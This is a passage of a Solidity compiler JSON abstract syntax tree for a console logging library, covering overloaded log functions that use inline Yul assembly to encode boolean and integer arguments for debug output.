28"},"value":"0x1c"},{"hexValue":"30783834","id":40199,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"194808:4:22","typeDescriptions":{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"},"value":"0x84"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"}],"id":40197,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"194786:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":40200,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"194786:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":40201,"nodeType":"ExpressionStatement","src":"194786:27:22"},{"AST":{"nativeSrc":"194832:156:22","nodeType":"YulBlock","src":"194832:156:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"194853:4:22","nodeType":"YulLiteral","src":"194853:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"194859:2:22","nodeType":"YulIdentifier","src":"194859:2:22"}],"functionName":{"name":"mstore","nativeSrc":"194846:6:22","nodeType":"YulIdentifier","src":"194846:6:22"},"nativeSrc":"194846:16:22","nodeType":"YulFunctionCall","src":"194846:16:22"},"nativeSrc":"194846:16:22","nodeType":"YulExpressionStatement","src":"194846:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"194882:4:22","nodeType":"YulLiteral","src":"194882:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"194888:2:22","nodeType":"YulIdentifier","src":"194888:2:22"}],"functionName":{"name":"mstore","nativeSrc":"194875:6:22","nodeType":"YulIdentifier","src":"194875:6:22"},"nativeSrc":"194875:16:22","nodeType":"YulFunctionCall","src":"194875:16:22"},"nativeSrc":"194875:16:22","nodeType":"YulExpressionStatement","src":"194875:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"194911:4:22","nodeType":"YulLiteral","src":"194911:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"194917:2:22","nodeType":"YulIdentifier","src":"194917:2:22"}],"functionName":{"name":"mstore","nativeSrc":"194904:6:22","nodeType":"YulIdentifier","src":"194904:6:22"},"nativeSrc":"194904:16:22","nodeType":"YulFunctionCall","src":"194904:16:22"},"nativeSrc":"194904:16:22","nodeType":"YulExpressionStatement","src":"194904:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"194940:4:22","nodeType":"YulLiteral","src":"194940:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"194946:2:22","nodeType":"YulIdentifier","src":"194946:2:22"}],"functionName":{"name":"mstore","nativeSrc":"194933:6:22","nodeType":"YulIdentifier","src":"194933:6:22"},"nativeSrc":"194933:16:22","nodeType":"YulFunctionCall","src":"194933:16:22"},"nativeSrc":"194933:16:22","nodeType":"YulExpressionStatement","src":"194933:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"194969:4:22","nodeType":"YulLiteral","src":"194969:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"194975:2:22","nodeType":"YulIdentifier","src":"194975:2:22"}],"functionName":{"name":"mstore","nativeSrc":"194962:6:22","nodeType":"YulIdentifier","src":"194962:6:22"},"nativeSrc":"194962:16:22","nodeType":"YulFunctionCall","src":"194962:16:22"},"nativeSrc":"194962:16:22","nodeType":"YulExpressionStatement","src":"194962:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":40182,"isOffset":false,"isSlot":false,"src":"194859:2:22","valueSize":1},{"declaration":40185,"isOffset":false,"isSlot":false,"src":"194888:2:22","valueSize":1},{"declaration":40188,"isOffset":false,"isSlot":false,"src":"194917:2:22","valueSize":1},{"declaration":40191,"isOffset":false,"isSlot":false,"src":"194946:2:22","valueSize":1},{"declaration":40194,"isOffset":false,"isSlot":false,"src":"194975:2:22","valueSize":1}],"id":40202,"nodeType":"InlineAssembly","src":"194823:165:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"194229:3:22","parameters":{"id":40179,"nodeType":"ParameterList","parameters":[{"constant":false,"id":40172,"mutability":"mutable","name":"p0","nameLocation":"194238:2:22","nodeType":"VariableDeclaration","scope":40204,"src":"194233:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":40171,"name":"bool","nodeType":"ElementaryTypeName","src":"194233:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":40174,"mutability":"mutable","name":"p1","nameLocation":"194250:2:22","nodeType":"VariableDeclaration","scope":40204,"src":"194242:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":40173,"name":"uint256","nodeType":"ElementaryTypeName","src":"194242:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":40176,"mutability":"mutable","name":"p2","nameLocation":"194259:2:22","nodeType":"VariableDeclaration","scope":40204,"src":"194254:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":40175,"name":"bool","nodeType":"ElementaryTypeName","src":"194254:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":40178,"mutability":"mutable","name":"p3","nameLocation":"194268:2:22","nodeType":"VariableDeclaration","scope":40204,"src":"194263:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":40177,"name":"bool","nodeType":"ElementaryTypeName","src":"194263:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"194232:39:22"},"returnParameters":{"id":40180,"nodeType":"ParameterList","parameters":[],"src":"194286:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":40238,"nodeType":"FunctionDefinition","src":"195000:780:22","nodes":[],"body":{"id":40237,"nodeType":"Block","src":"195069:711:22","nodes":[],"statements":[{"assignments":[40216],"declarations":[{"constant":false,"id":40216,"mutability":"mutable","name":"m0","nameLocation":"195087:2:22","nodeType":"VariableDeclaration","scope":40237,"src":"195079:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40215,"name":"bytes32","nodeType":"ElementaryTypeName","src":"195079:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40217,"nodeType":"VariableDeclarationStatement","src":"195079:10:22"},{"assignments":[40219],"declarations":[{"constant":false,"id":40219,"mutability":"mutable","name":"m1","nameLocation":"195107:2:22","nodeType":"VariableDeclaration","scope":40237,"src":"195099:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40218,"name":"bytes32","nodeType":"ElementaryTypeName","src":"195099:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40220,"nodeType":"VariableDeclarationStatement","src":"195099:10:22"},{"assignments":[40222],"declarations":[{"constant":false,"id":40222,"mutability":"mutable","name":"m2","nameLocation":"195127:2:22","nodeType":"VariableDeclaration","scope":40237,"src":"195119:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40221,"name":"bytes32","nodeType":"ElementaryTypeName","src":"195119:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40223,"nodeType":"VariableDeclarationStatement","src":"195119:10:22"},{"assignments":[40225],"declarations":[{"constant":false,"id":40225,"mutability":"mutable","name":"m3","nameLocation":"195147:2:22","nodeType":"VariableDeclaration","scope":40237,"src":"195139:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40224,"name":"bytes32","nodeType":"ElementaryTypeName","src":"195139:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40226,"nodeType":"VariableDeclarationStatement","src":"195139:10:22"},{"assignments":[40228],"declarations":[{"constant":false,"id":40228,"mutability":"mutable","name":"m4","nameLocation":"195167:2:22","nodeType":"VariableDeclaration","scope":40237,"src":"195159:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40227,"name":"bytes32","nodeType":"ElementaryTypeName","src":"195159:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40229,"nodeType":"VariableDeclarationStatement","src":"195159:10:22"},{"AST":{"nativeSrc":"195188:375:22","nodeType":"YulBlock","src":"195188:375:22","statements":[{"nativeSrc":"195202:17:22","nodeType":"YulAssignment","src":"195202:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"195214:4:22","nodeType":"YulLiteral","src":"195214:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"195208:5:22","nodeType":"YulIdentifier","src":"195208:5:22"},"nativeSrc":"195208:11:22","nodeType":"YulFunctionCall","src":"195208:11:22"},"variableNames":[{"name":"m0","nativeSrc":"195202:2:22","nodeType":"YulIdentifier","src":"195202:2:22"}]},{"nativeSrc":"195232:17:22","nodeType":"YulAssignment","src":"195232:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"195244:4:22","nodeType":"YulLiteral","src":"195244:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"195238:5:22","nodeType":"YulIdentifier","src":"195238:5:22"},"nativeSrc":"195238:11:22","nodeType":"YulFunctionCall","src":"195238:11:22"},"variableNames":[{"name":"m1","nativeSrc":"195232:2:22","nodeType":"YulIdentifier","src":"195232:2:22"}]},{"nativeSrc":"195262:17:22","nodeType":"YulAssignment","src":"195262:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"195274:4:22","nodeType":"YulLiteral","src":"195274:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"195268:5:22","nodeType":"YulIdentifier","src":"195268:5:22"},"nativeSrc":"195268:11:22","nodeType":"YulFunctionCall","src":"195268:11:22"},"variableNames":[{"name":"m2","nativeSrc":"195262:2:22","nodeType":"YulIdentifier","src":"195262:2:22"}]},{"nativeSrc":"195292:17:22","nodeType":"YulAssignment","src":"195292:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"195304:4:22","nodeType":"YulLiteral","src":"195304:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"195298:5:22","nodeType":"YulIdentifier","src":"195298:5:22"},"nativeSrc":"195298:11:22","nodeType":"YulFunctionCall","src":"195298:11:22"},"variableNames":[{"name":"m3","nativeSrc":"195292:2:22","nodeType":"YulIdentifier","src":"195292:2:22"}]},{"nativeSrc":"195322:17:22","nodeType":"YulAssignment","src":"195322:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"195334:4:22","nodeType":"YulLiteral","src":"195334:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"195328:5:22","nodeType":"YulIdentifier","src":"195328:5:22"},"nativeSrc":"195328:11:22","nodeType":"YulFunctionCall","src":"195328:11:22"},"variableNames":[{"name":"m4","nativeSrc":"195322:2:22","nodeType":"YulIdentifier","src":"195322:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"195420:4:22","nodeType":"YulLiteral","src":"195420:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"195426:10:22","nodeType":"YulLiteral","src":"195426:10:22","type":"","value":"0x7f9bbca2"}],"functionName":{"name":"mstore","nativeSrc":"195413:6:22","nodeType":"YulIdentifier","src":"195413:6:22"},"nativeSrc":"195413:24:22","nodeType":"YulFunctionCall","src":"195413:24:22"},"nativeSrc":"195413:24:22","nodeType":"YulExpressionStatement","src":"195413:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"195457:4:22","nodeType":"YulLiteral","src":"195457:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"195463:2:22","nodeType":"YulIdentifier","src":"195463:2:22"}],"functionName":{"name":"mstore","nativeSrc":"195450:6:22","nodeType":"YulIdentifier","src":"195450:6:22"},"nativeSrc":"195450:16:22","nodeType":"YulFunctionCall","src":"195450:16:22"},"nativeSrc":"195450:16:22","nodeType":"YulExpressionStatement","src":"195450:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"195486:4:22","nodeType":"YulLiteral","src":"195486:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"195492:2:22","nodeType":"YulIdentifier","src":"195492:2:22"}],"functionName":{"name":"mstore","nativeSrc":"195479:6:22","nodeType":"YulIdentifier","src":"195479:6:22"},"nativeSrc":"195479:16:22","nodeType":"YulFunctionCall","src":"195479:16:22"},"nativeSrc":"195479:16:22","nodeType":"YulExpressionStatement","src":"195479:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"195515:4:22","nodeType":"YulLiteral","src":"195515:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"195521:2:22","nodeType":"YulIdentifier","src":"195521:2:22"}],"functionName":{"name":"mstore","nativeSrc":"195508:6:22","nodeType":"YulIdentifier","src":"195508:6:22"},"nativeSrc":"195508:16:22","nodeType":"YulFunctionCall","src":"195508:16:22"},"nativeSrc":"195508:16:22","nodeType":"YulExpressionStatement","src":"195508:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"195544:4:22","nodeType":"YulLiteral","src":"195544:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"195550:2:22","nodeType":"YulIdentifier","src":"195550:2:22"}],"functionName":{"name":"mstore","nativeSrc":"195537:6:22","nodeType":"YulIdentifier","src":"195537:6:22"},"nativeSrc":"195537:16:22","nodeType":"YulFunctionCall","src":"195537:16:22"},"nativeSrc":"195537:16:22","nodeType":"YulExpressionStatement","src":"195537:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":40216,"isOffset":false,"isSlot":false,"src":"195202:2:22","valueSize":1},{"declaration":40219,"isOffset":false,"isSlot":false,"src":"195232:2:22","valueSize":1},{"declaration":40222,"isOffset":false,"isSlot":false,"src":"195262:2:22","valueSize":1},{"declaration":40225,"isOffset":false,"isSlot":false,"src":"195292:2:22","valueSize":1},{"declaration":40228,"isOffset":false,"isSlot":false,"src":"195322:2:22","valueSize":1},{"declaration":40206,"isOffset":false,"isSlot":false,"src":"195463:2:22","valueSize":1},{"declaration":40208,"isOffset":false,"isSlot":false,"src":"195492:2:22","valueSize":1},{"declaration":40210,"isOffset":false,"isSlot":false,"src":"195521:2:22","valueSize":1},{"declaration":40212,"isOffset":false,"isSlot":false,"src":"195550:2:22","valueSize":1}],"id":40230,"nodeType":"InlineAssembly","src":"195179:384:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":40232,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"195588:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783834","id":40233,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"195594:4:22","typeDescriptions":{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"},"value":"0x84"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"}],"id":40231,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"195572:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":40234,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"195572:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":40235,"nodeType":"ExpressionStatement","src":"195572:27:22"},{"AST":{"nativeSrc":"195618:156:22","nodeType":"YulBlock","src":"195618:156:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"195639:4:22","nodeType":"YulLiteral","src":"195639:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"195645:2:22","nodeType":"YulIdentifier","src":"195645:2:22"}],"functionName":{"name":"mstore","nativeSrc":"195632:6:22","nodeType":"YulIdentifier","src":"195632:6:22"},"nativeSrc":"195632:16:22","nodeType":"YulFunctionCall","src":"195632:16:22"},"nativeSrc":"195632:16:22","nodeType":"YulExpressionStatement","src":"195632:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"195668:4:22","nodeType":"YulLiteral","src":"195668:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"195674:2:22","nodeType":"YulIdentifier","src":"195674:2:22"}],"functionName":{"name":"mstore","nativeSrc":"195661:6:22","nodeType":"YulIdentifier","src":"195661:6:22"},"nativeSrc":"195661:16:22","nodeType":"YulFunctionCall","src":"195661:16:22"},"nativeSrc":"195661:16:22","nodeType":"YulExpressionStatement","src":"195661:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"195697:4:22","nodeType":"YulLiteral","src":"195697:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"195703:2:22","nodeType":"YulIdentifier","src":"195703:2:22"}],"functionName":{"name":"mstore","nativeSrc":"195690:6:22","nodeType":"YulIdentifier","src":"195690:6:22"},"nativeSrc":"195690:16:22","nodeType":"YulFunctionCall","src":"195690:16:22"},"nativeSrc":"195690:16:22","nodeType":"YulExpressionStatement","src":"195690:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"195726:4:22","nodeType":"YulLiteral","src":"195726:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"195732:2:22","nodeType":"YulIdentifier","src":"195732:2:22"}],"functionName":{"name":"mstore","nativeSrc":"195719:6:22","nodeType":"YulIdentifier","src":"195719:6:22"},"nativeSrc":"195719:16:22","nodeType":"YulFunctionCall","src":"195719:16:22"},"nativeSrc":"195719:16:22","nodeType":"YulExpressionStatement","src":"195719:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"195755:4:22","nodeType":"YulLiteral","src":"195755:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"195761:2:22","nodeType":"YulIdentifier","src":"195761:2:22"}],"functionName":{"name":"mstore","nativeSrc":"195748:6:22","nodeType":"YulIdentifier","src":"195748:6:22"},"nativeSrc":"195748:16:22","nodeType":"YulFunctionCall","src":"195748:16:22"},"nativeSrc":"195748:16:22","nodeType":"YulExpressionStatement","src":"195748:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":40216,"isOffset":false,"isSlot":false,"src":"195645:2:22","valueSize":1},{"declaration":40219,"isOffset":false,"isSlot":false,"src":"195674:2:22","valueSize":1},{"declaration":40222,"isOffset":false,"isSlot":false,"src":"195703:2:22","valueSize":1},{"declaration":40225,"isOffset":false,"isSlot":false,"src":"195732:2:22","valueSize":1},{"declaration":40228,"isOffset":false,"isSlot":false,"src":"195761:2:22","valueSize":1}],"id":40236,"nodeType":"InlineAssembly","src":"195609:165:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"195009:3:22","parameters":{"id":40213,"nodeType":"ParameterList","parameters":[{"constant":false,"id":40206,"mutability":"mutable","name":"p0","nameLocation":"195018:2:22","nodeType":"VariableDeclaration","scope":40238,"src":"195013:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":40205,"name":"bool","nodeType":"ElementaryTypeName","src":"195013:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":40208,"mutability":"mutable","name":"p1","nameLocation":"195030:2:22","nodeType":"VariableDeclaration","scope":40238,"src":"195022:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":40207,"name":"uint256","nodeType":"ElementaryTypeName","src":"195022:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":40210,"mutability":"mutable","name":"p2","nameLocation":"195039:2:22","nodeType":"VariableDeclaration","scope":40238,"src":"195034:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":40209,"name":"bool","nodeType":"ElementaryTypeName","src":"195034:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":40212,"mutability":"mutable","name":"p3","nameLocation":"195051:2:22","nodeType":"VariableDeclaration","scope":40238,"src":"195043:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":40211,"name":"uint256","nodeType":"ElementaryTypeName","src":"195043:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"195012:42:22"},"returnParameters":{"id":40214,"nodeType":"ParameterList","parameters":[],"src":"195069:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":40278,"nodeType":"FunctionDefinition","src":"195786:1328:22","nodes":[],"body":{"id":40277,"nodeType":"Block","src":"195855:1259:22","nodes":[],"statements":[{"assignments":[40250],"declarations":[{"constant":false,"id":40250,"mutability":"mutable","name":"m0","nameLocation":"195873:2:22","nodeType":"VariableDeclaration","scope":40277,"src":"195865:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40249,"name":"bytes32","nodeType":"ElementaryTypeName","src":"195865:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40251,"nodeType":"VariableDeclarationStatement","src":"195865:10:22"},{"assignments":[40253],"declarations":[{"constant":false,"id":40253,"mutability":"mutable","name":"m1","nameLocation":"195893:2:22","nodeType":"VariableDeclaration","scope":40277,"src":"195885:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40252,"name":"bytes32","nodeType":"ElementaryTypeName","src":"195885:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40254,"nodeType":"VariableDeclarationStatement","src":"195885:10:22"},{"assignments":[40256],"declarations":[{"constant":false,"id":40256,"mutability":"mutable","name":"m2","nameLocation":"195913:2:22","nodeType":"VariableDeclaration","scope":40277,"src":"195905:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40255,"name":"bytes32","nodeType":"ElementaryTypeName","src":"195905:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40257,"nodeType":"VariableDeclarationStatement","src":"195905:10:22"},{"assignments":[40259],"declarations":[{"constant":false,"id":40259,"mutability":"mutable","name":"m3","nameLocation":"195933:2:22","nodeType":"VariableDeclaration","scope":40277,"src":"195925:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40258,"name":"bytes32","nodeType":"ElementaryTypeName","src":"195925:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40260,"nodeType":"VariableDeclarationStatement","src":"195925:10:22"},{"assignments":[40262],"declarations":[{"constant":false,"id":40262,"mutability":"mutable","name":"m4","nameLocation":"195953:2:22","nodeType":"VariableDeclaration","scope":40277,"src":"195945:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40261,"name":"bytes32","nodeType":"ElementaryTypeName","src":"195945:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40263,"nodeType":"VariableDeclarationStatement","src":"195945:10:22"},{"assignments":[40265],"declarations":[{"constant":false,"id":40265,"mutability":"mutable","name":"m5","nameLocation":"195973:2:22","nodeType":"VariableDeclaration","scope":40277,"src":"195965:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40264,"name":"bytes32","nodeType":"ElementaryTypeName","src":"195965:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40266,"nodeType":"VariableDeclarationStatement","src":"195965:10:22"},{"assignments":[40268],"declarations":[{"constant":false,"id":40268,"mutability":"mutable","name":"m6","nameLocation":"195993:2:22","nodeType":"VariableDeclaration","scope":40277,"src":"195985:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40267,"name":"bytes32","nodeType":"ElementaryTypeName","src":"195985:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40269,"nodeType":"VariableDeclarationStatement","src":"195985:10:22"},{"AST":{"nativeSrc":"196014:825:22","nodeType":"YulBlock","src":"196014:825:22","statements":[{"body":{"nativeSrc":"196057:313:22","nodeType":"YulBlock","src":"196057:313:22","statements":[{"nativeSrc":"196075:15:22","nodeType":"YulVariableDeclaration","src":"196075:15:22","value":{"kind":"number","nativeSrc":"196089:1:22","nodeType":"YulLiteral","src":"196089:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"196079:6:22","nodeType":"YulTypedName","src":"196079:6:22","type":""}]},{"body":{"nativeSrc":"196160:40:22","nodeType":"YulBlock","src":"196160:40:22","statements":[{"body":{"nativeSrc":"196189:9:22","nodeType":"YulBlock","src":"196189:9:22","statements":[{"nativeSrc":"196191:5:22","nodeType":"YulBreak","src":"196191:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"196177:6:22","nodeType":"YulIdentifier","src":"196177:6:22"},{"name":"w","nativeSrc":"196185:1:22","nodeType":"YulIdentifier","src":"196185:1:22"}],"functionName":{"name":"byte","nativeSrc":"196172:4:22","nodeType":"YulIdentifier","src":"196172:4:22"},"nativeSrc":"196172:15:22","nodeType":"YulFunctionCall","src":"196172:15:22"}],"functionName":{"name":"iszero","nativeSrc":"196165:6:22","nodeType":"YulIdentifier","src":"196165:6:22"},"nativeSrc":"196165:23:22","nodeType":"YulFunctionCall","src":"196165:23:22"},"nativeSrc":"196162:36:22","nodeType":"YulIf","src":"196162:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"196117:6:22","nodeType":"YulIdentifier","src":"196117:6:22"},{"kind":"number","nativeSrc":"196125:4:22","nodeType":"YulLiteral","src":"196125:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"196114:2:22","nodeType":"YulIdentifier","src":"196114:2:22"},"nativeSrc":"196114:16:22","nodeType":"YulFunctionCall","src":"196114:16:22"},"nativeSrc":"196107:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"196131:28:22","nodeType":"YulBlock","src":"196131:28:22","statements":[{"nativeSrc":"196133:24:22","nodeType":"YulAssignment","src":"196133:24:22","value":{"arguments":[{"name":"length","nativeSrc":"196147:6:22","nodeType":"YulIdentifier","src":"196147:6:22"},{"kind":"number","nativeSrc":"196155:1:22","nodeType":"YulLiteral","src":"196155:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"196143:3:22","nodeType":"YulIdentifier","src":"196143:3:22"},"nativeSrc":"196143:14:22","nodeType":"YulFunctionCall","src":"196143:14:22"},"variableNames":[{"name":"length","nativeSrc":"196133:6:22","nodeType":"YulIdentifier","src":"196133:6:22"}]}]},"pre":{"nativeSrc":"196111:2:22","nodeType":"YulBlock","src":"196111:2:22","statements":[]},"src":"196107:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"196224:3:22","nodeType":"YulIdentifier","src":"196224:3:22"},{"name":"length","nativeSrc":"196229:6:22","nodeType":"YulIdentifier","src":"196229:6:22"}],"functionName":{"name":"mstore","nativeSrc":"196217:6:22","nodeType":"YulIdentifier","src":"196217:6:22"},"nativeSrc":"196217:19:22","nodeType":"YulFunctionCall","src":"196217:19:22"},"nativeSrc":"196217:19:22","nodeType":"YulExpressionStatement","src":"196217:19:22"},{"nativeSrc":"196253:37:22","nodeType":"YulVariableDeclaration","src":"196253:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"196270:3:22","nodeType":"YulLiteral","src":"196270:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"196279:1:22","nodeType":"YulLiteral","src":"196279:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"196282:6:22","nodeType":"YulIdentifier","src":"196282:6:22"}],"functionName":{"name":"shl","nativeSrc":"196275:3:22","nodeType":"YulIdentifier","src":"196275:3:22"},"nativeSrc":"196275:14:22","nodeType":"YulFunctionCall","src":"19